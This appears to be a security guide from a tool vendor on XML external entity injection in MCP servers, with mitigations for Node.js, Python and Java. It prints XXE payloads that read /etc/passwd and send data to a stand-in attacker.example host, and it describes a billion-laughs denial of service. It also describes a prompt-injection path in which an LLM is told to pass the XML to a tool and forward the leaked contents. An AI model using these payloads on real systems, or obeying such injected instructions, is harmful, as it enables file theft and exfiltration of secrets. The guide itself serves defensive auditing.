Topic: mcp server xxe security

MCP server XXE security — XML external entity injection

XML external entity (XXE) injection is a class of vulnerability in XML parsers that allows an attacker to define an entity whose content is fetched from an external source — a local file, a remote URL, or a recursive entity expansion that exhausts memory. Any MCP server that parses XML from a tool argument is exposed if its XML parser has external entity processing enabled. That includes document processing tools (Word/XLSX/SVG parsing), configuration readers, and any tool that accepts XML from the LLM's context as an input format.

The basic XXE payload: file read via DTD

An XML Document Type Definition (DTD) can declare an entity that references a filesystem path or URL. When the parser expands the entity reference in the document body, it reads the file and inlines its contents. An attacker can instruct the LLM to pass the following XML to an MCP tool that parses it:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><field>&xxe;</field></root>

If the parser has external entity processing enabled and the tool returns or reflects the parsed value of <field>, the content of /etc/passwd is returned in the tool's response — and appears in the LLM's context window, where the injected instruction can instruct the LLM to forward it. On Linux, the same technique reads /proc/self/environ to extract environment variables including API keys.

Blind XXE via SSRF

When the tool does not reflect the entity value in its output (out-of-band XXE), the attacker uses the entity to trigger an HTTP request to an attacker-controlled server:

<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "https://attacker.example/exfil?data=secret">
]>

The parser fetches the URL as part of entity resolution. Even if the tool returns no output, the attacker's server receives the request — confirming the XXE is live and enabling more sophisticated exfiltration using parameter entities and error-based techniques. This is an SSRF vector via the XML parser rather than the tool's network calls, and it bypasses SSRF mitigations that are applied at the fetch-call level rather than at the parser level.

Billion laughs: exponential entity expansion DoS

The "billion laughs" attack uses recursive entity definitions to create exponential expansion. A benign-looking XML document with nested entity references like &lol9; expanding to ten references to &lol8;, each of which expands to ten references to &lol7;, and so on for nine levels, produces 10^9 = one billion entity expansions. Parsing this exhausts memory and CPU, causing a denial-of-service condition in the MCP server process. A parser without expansion limits will attempt to materialize the full expanded text.

Which MCP server languages are affected

Node.js: The built-in DOMParser (browser context) and most XML libraries (xml2js, fast-xml-parser, xmldom) disable external entities by default. However, libxmljs (native bindings) enables them by default and requires explicit opt-out. Check any library that wraps libxml2.

Python: Python's xml.etree.ElementTree and xml.sax are vulnerable to XXE in Python versions before 3.8 and require explicit configuration in all versions to reject external entities. The defusedxml package is the standard safe wrapper. lxml disables external entities by default but enables them if resolve_entities=True is set.

Java: Java's JAXP parsers (SAXParserFactory, DocumentBuilderFactory) enable external entities by default in older versions. Secure configuration requires setting XMLConstants.FEATURE_SECURE_PROCESSING and explicitly disabling external DTDs and entity references via factory features.

Mitigations

Disable DTD processing entirely. For most MCP use cases, there is no legitimate reason to process document type definitions. Disabling DTD support eliminates XXE at the root:

// Node.js with fast-xml-parser — safe by default, confirm explicitly
import { XMLParser } from 'fast-xml-parser';
const parser = new XMLParser({
  allowBooleanAttributes: true,
  // fast-xml-parser does not support DTDs — safe by default
  // but do NOT pass user XML through DOMParser (browser) or libxmljs
});

// Python — use defusedxml instead of stdlib xml
import defusedxml.ElementTree as ET
tree = ET.parse(user_xml_content)  # raises on XXE attempts

# Java — disable external entities in DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder db = dbf.newDocumentBuilder();

Validate input format before parsing. If your tool accepts XML, add a pre-parse check that rejects any input containing the string DOCTYPE, ENTITY, or SYSTEM. This is not a complete fix (there are encoding-based bypasses) but eliminates the most common attack vectors as a defense-in-depth layer.

SkillAudit's static analysis flags calls to XML parsing functions in MCP servers and checks whether the parser configuration explicitly disables external entities. Any server parsing XML without explicit secure configuration receives a Security axis finding.

Audit your XML-parsing MCP tools for XXE vulnerabilities.

Run a free audit →